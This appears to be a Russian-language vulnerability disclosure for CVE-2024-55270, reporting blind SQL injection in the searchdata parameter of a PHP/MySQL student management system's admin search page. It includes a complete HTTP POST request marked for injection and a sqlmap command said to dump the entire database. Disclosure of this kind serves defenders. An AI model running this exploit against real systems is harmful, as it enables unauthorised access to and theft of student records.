shoaibalam112/cve-2024-55270Система управления студентами на PHP и MySQL
Система управления студентами (SMS) — это веб-приложение, разработанное с использованием PHP и MySQL для управления информацией о студентах. Этот репозиторий содержит исходный код и описание системы, а также отчет об уязвимости безопасности.
Аудитор:
Shoaib Alam - Профиль LinkedIn
В системе управления студентами обнаружена уязвимость Blind SQL Injection (слепое внедрение SQL-кода). Эта проблема затрагивает параметр searchdata в функции поиска приложения.
/studentms/admin/search.phpsearchdataПараметр searchdata подвержен слепому внедрению SQL-кода из-за недостаточной санитизации входных данных. Злоумышленник может воспользоваться этой уязвимостью, внедряя вредоносные SQL-запросы в поле , что потенциально может привести к несанкционированному доступу к базе данных или другой конфиденциальной информации.
searchdata/studentms/admin/search.php
POST /studentms/admin/search.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 64
Origin: http://localhost
DNT: 1
Sec-GPC: 1
Connection: keep-alive
Referer: http://localhost/studentms/admin/search.php
Cookie: PHPSESSID=kq90r1jv25kn4flrqd74v1miqd
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
searchdata=*&search=
Сохраните приведенный выше POST-запрос в файл req.txt с помощью блокнота или любого текстового редактора.
Используйте такой инструмент, как SQLMAP, чтобы эксплуатировать уязвимость, применив следующую команду (вы можете настроить её под себя): sqlmap -r req.txt --dbs --random-agent --level 3 --risk 3
Приведенная выше команда выгрузит всю базу данных веб-приложения.